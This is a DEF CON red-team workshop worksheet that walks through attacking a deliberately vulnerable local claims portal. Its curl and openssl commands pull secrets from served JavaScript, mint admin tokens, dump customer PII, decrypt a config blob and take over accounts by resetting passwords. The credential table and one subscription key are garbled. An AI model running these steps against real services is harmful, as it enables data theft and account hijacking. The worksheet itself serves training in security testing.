Four Values in a JavaScript File: Credential to Account Takeover

Red Team Village TACTICS · DEF CON 34 · Workshop Stage 1 · Sunday Aug 9

A hands-on tactic. You will take four values out of a served JavaScript bundle and turn them into a full account takeover, then do it a second time against an "encrypted" config that most people assume is safe. The whole lab runs on your own laptop with no external connectivity.

Target app: **InsecureShield** (a purpose-built, intentionally vulnerable claims portal). All credentials in it are synthetic and non-functional. Nothing here touches a real service.

Before you arrive (do this on hotel wifi, not the con network)

You need three things installed:

1. **Node 18+** — check with `node -v`
2. **Clone the lab and install (do this on wifi, before the session):**

   ```
   git clone https://github.com/secretsifter/insecureshield-
           demo.git
   cd insecureshield-demo && npm install
   ```

   One clone gives you the app, this worksheet (`workshop/`), and the SecretSifter extension (`tools/`).
3. **Burp Suite Community** (free) with the **SecretSifter** extension loaded:
   - Burp → Extensions → Add → Extension type Java → select `tools/secretsifter-store-1.2.42.jar`

`openssl` and `python3` are used in Chain 2. Both ship with macOS and Linux. On Windows use WSL or Git Bash.

Start the lab

```
npm start
```

Portal comes up at **http://localhost:3000**. You are ready when the login page loads and `admin@acme-portal.com / InsecureShield@2024` logs you in.

Point Burp's proxy at the browser (or use `curl` directly — both paths are shown below).

> **Prefer step-by-step with raw Burp Repeater requests and expected responses?** See the full illustrated walkthrough at `../docs/reproduction-guide.pdf`. This worksheet is the fast curl-based cheat-sheet; the guide is the detailed version.

The mental model

The secret is not in the repo. It is in what the server *sends to the browser*. Everything below comes out of files any visitor can download. Shift-left scanners never see this layer.

You will complete two chains:

- **Chain 1** — four values in `main.js` → mint an admin token → exfiltrate all customer PII.
- **Chain 2** — an AES-"encrypted" config blob whose key ships in the same file → decrypt it → mint a *superadmin* token → read internal config the admin token cannot.

CHAIN 1 — Four values to account takeover (~20 min)

Stage 1 · Surface enumeration

Find the served JavaScript. In the browser, View Source / DevTools Sources, or in Burp look at HTTP history after a page load. The bundles are: `env.js`, `firebase.js`, `apim-auth.js`, `main.js`, and `config.json`.

With SecretSifter: let it scan Burp's history. It surfaces the credential candidates across all bundles automatically. That is the whole point of Stage 2 below being a tool problem, not a grep problem.

Stage 2 · Credential extraction

Open `main.js` and find `AZURE_AD_CONFIG` (around line 12004). Pull the **four values**:

Value	Where	Verified value
`appId`	main.js `AZURE_AD_CONFIG`	`8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d`
		`Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==`

Value	Where	Verified value
`appKey` (client secret)	main.js `AZURE_AD_CONFIG`	
`resourceKey`	main.js `AZURE_AD_CONFIG`	`R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8`
APIM `subscriptionKey`	main.js / config.json	`a1b2c3d4e5f67890123456789012345678901234ab`

The first three mint the token. The fourth is the gateway key you need to *use* it.

Stage 3 · Chain completion

Mint a token from the first three values:

```
curl -s -X POST http://localhost:3000/api/auth/generate-token \
  -H "appId: 8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d" \
  -H "appKey: Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==" \
  -H "resourceKey:
        R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA=="
```

Checkpoint: you get back `access_token`, `scope: policies.read claims.read users.read`, and notice the response *echoes* `resource_key` (a secret leaking in transit — SecretSifter catches this too).

Save the token, then hit a protected endpoint. Try it **without** the subscription key first:

```
TOKEN="<paste access_token>"
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:3000/
        api/users \
  -H "Authorization: Bearer $TOKEN"
```

Checkpoint: `401`. This is why the fourth value matters. Now add it:

```
curl -s http://localhost:3000/api/users \
  -H "Authorization: Bearer $TOKEN" \
  -H "Ocp-Apim-Subscription-Key: a1b2c3d4e5f67890123456789012345678901234ab"
```

Checkpoint: full customer dump — names, emails, DOB, SSNs, password hashes + salts.

Stage 4 · Scope assessment

What did this identity actually get you? Enumerate the blast radius:

```
H=(-H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-
        Key: a1b2c3d4e5f67890123456789012345678901234ab")
curl -s http://localhost:3000/api/policies "${H[@]}"        # all
        policies
```

```
curl -s http://localhost:3000/api/stats "${H[@]}"           #
        total exposure $
curl -s http://localhost:3000/api/admin/internal-config "${H[@]}"
        -o /dev/null -w "admin? %{http_code}\n"
```

Checkpoint: you own all policy + customer data, but `/api/admin/*` returns `403`. The public token is powerful but bounded. That boundary is what Chain 2 breaks.

Everything the admin token now unlocks (all need the two headers above):

Action	Call
Dump all 4,999 customers (SSN, PII, hashes)	`GET /api/users`
All policies / claims	`GET /api/policies`, `GET /api/claims/:policyId`
Business totals + financial exposure	`GET /api/stats`
Read ANY user's profile (IDOR)	`GET /api/profile?id=N`
Harvest ANY user's password hash+salt	`GET /api/profile/password?id=N`
Reset ANY user's password (BOLA)	`PUT /api/profile/password {id,newPassword}`

Stage 5 · The account takeover (this is the title)

The token lets you reset **any** user's password with no current password, then log in as them:

```
# 1) find a victim (id 2) and reset their password — note: no
        current password required
curl -s -X PUT http://localhost:3000/api/profile/password \
  -H "Authorization: Bearer $TOKEN" -H
        "Ocp-Apim-Subscription-Key:
        a1b2c3d4e5f6789012345678901234ab" \
  -H "Content-Type: application/json" -d
        '{"id":2,"newPassword":"pwned123"}'
# 2) look up their email, then log in AS them with the password
        you just set
curl -s "http://localhost:3000/api/profile?id=2" \
  -H "Authorization: Bearer $TOKEN" -H
        "Ocp-Apim-Subscription-Key:
        a1b2c3d4e5f6789012345678901234ab"
curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" -d '{"email":"<victim
        email>","password":"pwned123"}'
```

Checkpoint: `IsSuccess: true` and a token issued in the victim's name. Four values in a JavaScript file to a fully hijacked account. That is the whole talk in one move.

CHAIN 2 — “It’s encrypted, you can’t read it” (~20 min)

Stage 1-2 · Find and decrypt the blob

In `main.js`, find `ENCRYPTED_SP_CONFIG` (a `U2FsdGVkX1…` CryptoJS blob) and, three lines away, `SP_CONFIG_KEY = "InsecureShield-Config-Key-2024Q4"`. The key ships in the same file it “protects.”

CryptoJS uses the OpenSSL Salted envelope (AES-256-CBC, MD5 KDF), so plain `openssl` decrypts it:

```
# pull the blob straight out of the bundle and decrypt (run from
        the repo dir)
BLOB=$(grep -o 'ENCRYPTED_SP_CONFIG = "[^"]*"' public/js/main.js
        | sed 's/.*= "//;s/"$//')
echo "$BLOB" | python3 decrypt.py
# or with no python:
echo "$BLOB" | openssl enc -d -aes-256-cbc -a -A -md md5 -pass
        pass:InsecureShield-Config-Key-2024Q4
```

(openssl prints a “deprecated key derivation” warning to stderr — that is expected and harmless; the decrypted JSON still prints. `decrypt.py` hides the warning if you prefer clean output.)

Checkpoint: clean JSON with a *second* app registration: `appId 9a8b7c6d-…`, `appKey AdmIn~App.Q4-2024.…`, `resourceKey AdminRes.K3y.….`

Stage 3 · Chain completion (superadmin)

Same token endpoint, the decrypted creds:

```
curl -s -X POST http://localhost:3000/api/auth/generate-token \
  -H "appId: 9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210" \
  -H "appKey: AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal" \
  -H "resourceKey: AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW=="
```

Checkpoint: token with `scope: admin.config.read admin.diagnostics admin.dbconn`.

Stage 4 · Scope assessment (what encryption was hiding)

```
SP="<paste superadmin access_token>"
curl -s http://localhost:3000/api/admin/internal-config \
  -H "Authorization: Bearer $SP" \
  -H "Ocp-Apim-Subscription-Key: a1b2c3d4e5f67890123456789012345678901234ab"
```

Checkpoint: the production **DB connection string** (`sa` password in cleartext), the APIM key, and the internal service map. That is the payoff: “encrypted in the browser” bought exactly zero protection because the key was in the same download.

Extra credit (if you finish early)

- **Crack the leaked hashes.** Pull a hash+salt from the reset-lookup endpoint, then crack it:

```
curl -s "http://localhost:3000/api/profile/password?id=1" \
  -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-
        Key: a1b2c3d4e5f67890123456789012345678901234ab"
# take passwordHash + salt, then (run from repo dir so
        wordlist.txt is found):
echo 'PASTE_HASH:PASTE_SALT' | python3 crack.py
```

- **IDOR read.** `GET /api/profile?id=N` and `POST /api/account/info {"userProfileID":N}` read any user's data with no ownership check — enumerate the whole customer base one id at a time.

- **WebSocket leak.** Connect to `/ws/notifications?token=<TOKEN>`; the welcome frame leaks another key.

The one takeaway

Four values in a file the server *chose to send you* is a full takeover, and encrypting them in the browser changes nothing when the key rides along. Scan what you serve, not just what you commit.

Repo · github.com/secretsifter/insecureshield-demo | SecretSifter · github.com/secretsifter Book · "Secrets in the Browser" (Amazon) | Research · Zenodo 10.5281/zenodo.19464445